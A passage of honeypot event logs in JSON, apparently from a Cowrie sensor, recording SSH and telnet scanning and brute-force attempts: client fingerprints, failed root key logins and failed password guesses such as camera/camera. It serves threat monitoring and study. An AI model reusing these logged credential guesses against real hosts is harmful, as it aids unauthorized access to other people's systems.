tp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:31:20.888030Z","src_ip":"198.38.85.149","session":"700394ba1d31","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9d:7b:5b:6a:bd:6c:6f:2c:e7:39:33:69:0d:17:69:42","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChVeY11TEYqSpaucvCrTF4vbQfNdhCErS8TOprSYOm+Nbpoe0nluy3lXAesoaGcuO+uSBy5W85iGZuhP90bUxdhkmm3oVZkOi8259COlO2jzXQ1BeCyyMYVqcpFsdLtSj4BdMevn/B89qW0TRpBbh5oS4/5WKvYrBHkpuKu91dIQk3BRFXF0mho5v8RZKrx6vrZLc9PsLa6ZF3WHJlg/2K8pg89sUHbneWmr2NVSHOInu4Aw7ijht2qcLKAw+pbWG5+htF/0LiAndPEby9xIGxKJCaRXE8CTsDKK5WIh9RS/0ErBQ4So3ZrD80bj53TgKFcSie18NEca3UIUB9PTzt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9d:7b:5b:6a:bd:6c:6f:2c:e7:39:33:69:0d:17:69:42","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:31:21.882200Z","src_ip":"198.38.85.149","session":"700394ba1d31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9d:7b:5b:6a:bd:6c:6f:2c:e7:39:33:69:0d:17:69:42","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChVeY11TEYqSpaucvCrTF4vbQfNdhCErS8TOprSYOm+Nbpoe0nluy3lXAesoaGcuO+uSBy5W85iGZuhP90bUxdhkmm3oVZkOi8259COlO2jzXQ1BeCyyMYVqcpFsdLtSj4BdMevn/B89qW0TRpBbh5oS4/5WKvYrBHkpuKu91dIQk3BRFXF0mho5v8RZKrx6vrZLc9PsLa6ZF3WHJlg/2K8pg89sUHbneWmr2NVSHOInu4Aw7ijht2qcLKAw+pbWG5+htF/0LiAndPEby9xIGxKJCaRXE8CTsDKK5WIh9RS/0ErBQ4So3ZrD80bj53TgKFcSie18NEca3UIUB9PTzt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:31:21.886197Z","src_ip":"198.38.85.149","session":"700394ba1d31","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ce:21:62:ff:a9:fd:38:65:3d:33:08:62:83:de:0f:71","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKeCMysZ+KI16uV6cfvwSkSNhDQL9EZEeKflAyqI14o2ohaH9o6zs5uXr52NCQ4sARz4PB3zFDjwsrD/zTlAeErh+na0nAIQ/kvV5MeDFLmIux4MmBvaJKjQs+GLQ6fhRd2oEZX7uVdTJh0ESIVdpZZQnxTuBDZgAFoYQfkwF8jDv5yeM8fhOSabFwo62zYVnzWNLxjT4bUYNv0KWpqCdqX9KuXyXCL7/bKdcSk6n3EkS5IY5EgfbKLd4cBmMDiC3R/y+o4djQb43wtgMOSohvcPScpYyip+odyPLxsdOPdJIacn3OrCltN2FB40n6G0tCLjrV+LArruKC8wnX5enb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ce:21:62:ff:a9:fd:38:65:3d:33:08:62:83:de:0f:71","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:31:22.091102Z","src_ip":"198.38.85.149","session":"700394ba1d31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ce:21:62:ff:a9:fd:38:65:3d:33:08:62:83:de:0f:71","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKeCMysZ+KI16uV6cfvwSkSNhDQL9EZEeKflAyqI14o2ohaH9o6zs5uXr52NCQ4sARz4PB3zFDjwsrD/zTlAeErh+na0nAIQ/kvV5MeDFLmIux4MmBvaJKjQs+GLQ6fhRd2oEZX7uVdTJh0ESIVdpZZQnxTuBDZgAFoYQfkwF8jDv5yeM8fhOSabFwo62zYVnzWNLxjT4bUYNv0KWpqCdqX9KuXyXCL7/bKdcSk6n3EkS5IY5EgfbKLd4cBmMDiC3R/y+o4djQb43wtgMOSohvcPScpYyip+odyPLxsdOPdJIacn3OrCltN2FB40n6G0tCLjrV+LArruKC8wnX5enb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:31:22.095056Z","src_ip":"198.38.85.149","session":"700394ba1d31","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"38:50:88:ce:35:2a:6d:d4:e4:a5:61:c6:e0:80:bb:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzQttLJsNDnwL50C/BbuRG2rS0HUNP7ULQ7qUjBspkBqdrx8PD06lyo8x6eqZGE1M2reWjCzOPq/UNXMN3XZ5Bw+qFuR9TEIDpAZjBqeSSvRtp1xL4XGcsLv/HfK9xNdJg9jmtn9omTBQ89xncC33c6s0QkP4bzMJeB+3pQdkBym40reHAC8kHuCW00dm9NWtKhiMvsltshAHEJuqGUGKzHJ4e+jwKE3Qed7omKOYAi7KhLIaeF7W2pLB4F2jZRgxNWy8HLWstv1JLoAoeHLGbFviigiJiWLBlc6c7lFzHo7h8xgzSmfvECWmC41FduHXr6Oo2Qwub3Eh5AgXtw6acQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 38:50:88:ce:35:2a:6d:d4:e4:a5:61:c6:e0:80:bb:c4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:31:22.303666Z","src_ip":"198.38.85.149","session":"700394ba1d31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"38:50:88:ce:35:2a:6d:d4:e4:a5:61:c6:e0:80:bb:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzQttLJsNDnwL50C/BbuRG2rS0HUNP7ULQ7qUjBspkBqdrx8PD06lyo8x6eqZGE1M2reWjCzOPq/UNXMN3XZ5Bw+qFuR9TEIDpAZjBqeSSvRtp1xL4XGcsLv/HfK9xNdJg9jmtn9omTBQ89xncC33c6s0QkP4bzMJeB+3pQdkBym40reHAC8kHuCW00dm9NWtKhiMvsltshAHEJuqGUGKzHJ4e+jwKE3Qed7omKOYAi7KhLIaeF7W2pLB4F2jZRgxNWy8HLWstv1JLoAoeHLGbFviigiJiWLBlc6c7lFzHo7h8xgzSmfvECWmC41FduHXr6Oo2Qwub3Eh5AgXtw6acQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:31:22.307994Z","src_ip":"198.38.85.149","session":"700394ba1d31","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b8:11:28:8c:98:b0:59:17:17:ca:d3:56:30:1c:7e:78","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmTY8EFMG4yVgpNjqJnBsPuPAQYlG55eOd294qENJ19GqL6lmC2gGoyxJzVnga5oIhBMT9FJk0CdGryEsxIie+c25avgFC+Ndqk65RYm+7VPgJ/rWC3pl73duusM+dmmsSKzX/Kgm6IfCDU0xqOvDhlqzftIfWB/6j2+yS6tmj1dDZEOsCGuZIw3epoLBiLYj2Hu9t8phVTQuobE71lNeeAXUIBROddYHVKH5ZCJSbLjWrul1wqtZf87fKVVvpikirQVjXomAGz4NCMF0LQbuhL0dNgT0wqMySv1GwZczxVTcvrLuOdF+1Qe9YjBTY9OH/yTesF9hXGMb4Esh5xZir","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b8:11:28:8c:98:b0:59:17:17:ca:d3:56:30:1c:7e:78","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:31:22.513087Z","src_ip":"198.38.85.149","session":"700394ba1d31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b8:11:28:8c:98:b0:59:17:17:ca:d3:56:30:1c:7e:78","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmTY8EFMG4yVgpNjqJnBsPuPAQYlG55eOd294qENJ19GqL6lmC2gGoyxJzVnga5oIhBMT9FJk0CdGryEsxIie+c25avgFC+Ndqk65RYm+7VPgJ/rWC3pl73duusM+dmmsSKzX/Kgm6IfCDU0xqOvDhlqzftIfWB/6j2+yS6tmj1dDZEOsCGuZIw3epoLBiLYj2Hu9t8phVTQuobE71lNeeAXUIBROddYHVKH5ZCJSbLjWrul1wqtZf87fKVVvpikirQVjXomAGz4NCMF0LQbuhL0dNgT0wqMySv1GwZczxVTcvrLuOdF+1Qe9YjBTY9OH/yTesF9hXGMb4Esh5xZir","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:31:22.517667Z","src_ip":"198.38.85.149","session":"700394ba1d31","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0b:30:81:05:56:e1:94:1b:77:43:3b:df:01:dd:43:94","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCp+3aSRfLuba/OcdZDDCtJ1HSl8b5TZ+nADA8PtSq64E4DBmVM8rXO5thL9SAZqjIdprd8uxSSlFX1n5Xboipspx0L+XBj7DlTP8TvO2o/gk2GCMZd3jPMIga4BzBrRbjKBFKs1PsH8axemYuddsg+jmGxFhGFuIrtbxxXAfy+cTNXStdo1UPra2qFmJpvxGqL4vAemFHcKf7emM2sI0tH77rl+QTcKj+eJatkb51HHz+reZy0vO2sZH5YsokuZ/6BhydluiMrruakxbuIX+W+NnjeoeL2UQkA+tizcrVTbLyBt5H/kdzbAgLDyfw5jS0w8aw8KhMdfRzP3F+Dc4Cn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0b:30:81:05:56:e1:94:1b:77:43:3b:df:01:dd:43:94","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:31:22.722508Z","src_ip":"198.38.85.149","session":"700394ba1d31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0b:30:81:05:56:e1:94:1b:77:43:3b:df:01:dd:43:94","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCp+3aSRfLuba/OcdZDDCtJ1HSl8b5TZ+nADA8PtSq64E4DBmVM8rXO5thL9SAZqjIdprd8uxSSlFX1n5Xboipspx0L+XBj7DlTP8TvO2o/gk2GCMZd3jPMIga4BzBrRbjKBFKs1PsH8axemYuddsg+jmGxFhGFuIrtbxxXAfy+cTNXStdo1UPra2qFmJpvxGqL4vAemFHcKf7emM2sI0tH77rl+QTcKj+eJatkb51HHz+reZy0vO2sZH5YsokuZ/6BhydluiMrruakxbuIX+W+NnjeoeL2UQkA+tizcrVTbLyBt5H/kdzbAgLDyfw5jS0w8aw8KhMdfRzP3F+Dc4Cn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:31:22.727106Z","src_ip":"198.38.85.149","session":"700394ba1d31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:31:22.931543Z","src_ip":"198.38.85.149","session":"700394ba1d31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.186","src_port":45396,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b6ad819d3ae","protocol":"ssh","message":"New connection: 178.20.210.186:45396 (10.17.0.5:22) [session: 6b6ad819d3ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:31:26.787393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:31:26.792487Z","src_ip":"178.20.210.186","session":"6b6ad819d3ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:31:26.890923Z","src_ip":"178.20.210.186","session":"6b6ad819d3ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"camera","password":"camera","message":"login attempt [camera/camera] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:31:27.593542Z","src_ip":"178.20.210.186","session":"6b6ad819d3ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:31:28.694402Z","src_ip":"178.20.210.186","session":"6b6ad819d3ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.13.14.186","src_port":34520,"dst_ip":"159.203.135.109","dst_port":22,"session":"ace6afc0ac73","protocol":"ssh","message":"New connection: 106.13.14.186:34520 (159.203.135.109:22) [session: ace6afc0ac73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:31:41.818199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:31:41.826493Z","src_ip":"106.13.14.186","session":"ace6afc0ac73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:31:42.069752Z","src_ip":"106.13.14.186","session":"ace6afc0ac73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.185.132.144","src_port":55018,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea4cdda57f57","protocol":"ssh","message":"New connection: 147.185.132.144:55018 (159.203.135.109:22) [session: ea4cdda57f57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:31:43.881991Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:31:44.026612Z","src_ip":"147.185.132.144","session":"ea4cdda57f57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.238.254","src_port":45412,"dst_ip":"10.17.0.5","dst_port":23,"session":"58f63fba0080","protocol":"telnet","message":"New connection: 167.71.238.254:45412 (10.17.0.5:23) [session: 58f63fba0080]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:33:40.019329Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:33:41.824440Z","src_ip":"106.13.14.186","session":"ace6afc0ac73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.238.254","src_port":33514,"dst_ip":"10.17.0.5","dst_port":23,"session":"59dd7e0390e6","protocol":"telnet","message":"New connection: 167.71.238.254:33514 (10.17.0.5:23) [session: 59dd7e0390e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:34:37.322920Z"}
{"eventid":"cowrie.session.connect","src_ip":"205.254.166.156","src_port":15705,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ecc4bddd0a2","protocol":"ssh","message":"New connection: 205.254.166.156:15705 (159.203.135.109:22) [session: 9ecc4bddd0a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:34:41.895211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:34:41.900343Z","src_ip":"205.254.166.156","session":"9ecc4bddd0a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:34:42.118126Z","src_ip":"205.254.166.156","session":"9ecc4bddd0a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbus-helper","password":"warnight","message":"login attempt [dbus-helper/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:34:42.993448Z","src_ip":"205.254.166.156","session":"9ecc4bddd0a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:34:44.208788Z","src_ip":"205.254.166.156","session":"9ecc4bddd0a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":22.597204208374023,"message":"Connection lost after 22 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:34:59.920020Z","src_ip":"167.71.238.254","session":"59dd7e0390e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":84.22203850746155,"message":"Connection lost after 84 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:35:04.241235Z","src_ip":"167.71.238.254","session":"58f63fba0080","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"113.190.252.123","src_port":10903,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7d049ad1eb2","protocol":"ssh","message":"New connection: 113.190.252.123:10903 (159.203.135.109:22) [session: f7d049ad1eb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:35:28.929645Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:35:28.934736Z","src_ip":"113.190.252.123","session":"f7d049ad1eb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:35:29.496555Z","src_ip":"113.190.252.123","session":"f7d049ad1eb2","protocol":"ssh"}
